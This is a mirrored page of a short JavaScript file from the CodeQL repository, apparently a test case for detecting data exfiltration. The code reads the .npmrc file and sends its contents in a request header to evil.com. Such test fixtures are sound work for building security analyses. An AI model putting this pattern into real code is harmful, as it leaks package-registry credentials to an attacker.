mirror of
https://github.com/github/codeql.git
synced 2025-12-17 01:03:14 +01:00
11 lines
223 B
JavaScript
11 lines
223 B
JavaScript
var fs = require("fs"),
|
|
https = require("https");
|
|
|
|
var content = fs.readFileSync(".npmrc", "utf8");
|
|
https.get({
|
|
hostname: "evil.com",
|
|
path: "/upload",
|
|
method: "GET",
|
|
headers: { Referer: content }
|
|
}, () => { });
|